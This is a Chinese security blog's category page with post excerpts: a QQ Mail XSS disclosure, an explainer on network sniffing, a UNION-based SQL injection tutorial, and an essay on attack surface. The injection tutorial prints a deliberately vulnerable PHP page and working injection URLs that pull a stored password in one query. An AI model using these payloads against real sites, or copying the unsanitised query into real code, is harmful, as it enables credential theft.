分类 ‘技术文章’ 下的日志
QQ Mail跨站脚本漏洞
漏洞说明:QQ Mail是Tencent公司提供的webmail服务,你可以使用你的QQ帐户来登陆使用Mail服务,具体的信息可以访问 http://mail.qq.com/。但是80sec团队成员在QQ Mail里发现存在跨站脚本漏洞,恶意用户可以通过该漏洞在邮件里伪造登陆表单窃取目标用户的密码以及偷取Cookie以取得其他用户的身份,或者使用 ajax等技术读取用户的敏感信息。
漏洞成因:QQ Mail的Javascript Dom部分在处理邮件内容,对邮件内容字符串的处理分为str和code两个流程,通过组合的标签内容可以误导Javascript处理图片内容和文字链接进入str流程,将HTML编码字符串还原为HTML标签。
阅读全文 »
sniffer原理
袁哥 < [email protected] >
大家经常讨论SNIFFER,觉得还是很多人没有真正理解SNIFFER,所以把我的一点理解写出来大家共享。
先讲讲HUB的工作原理吧。由于以太网等很多网络(常见共享HUB连接的内部网)是基于总线方式,物理上是广播的,就是一个机器发给另一个机器的数据,共享HUB先收到然后把它接收到的数据再发给别的(来的那个口不发了)每一个口,所以在共享HUB下面同一网段的所有机器的网卡都能接收到数据。交换式HUB的内部单片程序能记住每个口的MAC地址,以后就该哪个机器接收就发往哪个口,而不是像共享HUB那样发给所有的口,所以交换HUB下只有该接收数据的机器的网卡能接收到数据,当然广播包还是发往所有口。显然共享HUB的工作模式使得两个机器传输数据的时候别的口也占用了,所以共享HUB决定了同一网段同一时间只能有两个机器进行数据通信,而交换HUB两个机器传输数据的时候别的口没有占用,所以别的口之间也可以同时传输。这就是共享HUB与交换HUB不同的两个地方,共享HUB是同一时间只能一个机器发数据并且所有机器都可以接收,只要不是广播数据交换HUB同一时间可以有对机器进行数据传输并且数据是私有的。
阅读全文 »
Union查询小技巧
作者:toby57
相信大家在注入中没有少用联合查询吧,呵呵。的确union查询是很方便的,不用一个字符接一个字符的猜了,大大提高了生厂力,然而又因为它的条件要求很 多时候并不能完全满足,每每那个时候就只有看着注入点,嚎吼一声,带着满脸悲愤开始使用最原始的方法。当然,条件不允许我们也没有办法,然而有些时候却是 自己的马虎导致高效率的联合查询方法不被采用,这可不符合“三代表”中的“代表最先进的生产力”啊。以下要说到的就可能是其中一种情况。^_^(相信很多 朋友都已经知道了,只是我在网上没有看到吧,这儿提出来且当自己消遣自己,扯淡为主)
mysql> select * from test;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin888 |
+------+----------+----------+
1 row in set (0.03 sec)
test.php:
<?
$id=$_GET['id'];
$lnk = mysql_connect('localhost', 'root', 'root') or die ('Not connected : ' . mysql_error());
mysql_select_db('test', $lnk) or die ('Can\'t use foo : ' . mysql_error());
$query = "SELECT count(*) FROM test where id=$id";
$result = mysql_query($query);
while($result_row = mysql_fetch_row($result))
{
if(($result_row[0])&&is_numeric($result_row[0])){
echo $result_row[0];
}
}
?>
大家都知道在联合查询中不但前后列数要相等,类型也要一样。那么在这个注入点中,前一查询返回值类型应该是数字型,而我们要想用联合查询得到类型为text的password,应该怎么办呢?
其实我们可以先查出密码长度:
http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20length(password)%20from%20test%23
返回结果为8。OK,再来:
http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20ascii(mid(password,1,1))%20from%20test
返回的结果为password的第一位的ASCII码值,接下来将每一位都查出来就OK了。
然而其实我们有更方便的方法,嘿嘿,一次查询就够了。
我们提交:
http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20conv(hex(password),16,10)%20from%20test
返回7017854418938247224。转换为16进制为0x61646D696E383838,它就是“admin888”的十六制咯。哈,原理就不说了,相信大家都“昂第二是蛋的”了。
测试中不用conv函数转换一下类型会不匹配,汗,不知嘛原因。
Ok!扯淡完毕。
关于minimize attack surface
BY:刺
最近看到又有老外讲到这一点,先扯扯我的体会。
minimize attack surface就是要尽量减少可能被攻击的点。
从战略上来讲,就是解决或者隐藏自己的弱点。
要做到这点,首先需要的就是一个好的架构。
好的架构,可以节省很多事情,从服务器部署方式,网络拓跋结构,使用什么语言,使用什么平台框架,使用什么DB,ACL如何做,如果统一发布、升级、回滚、监控。
阅读全文 »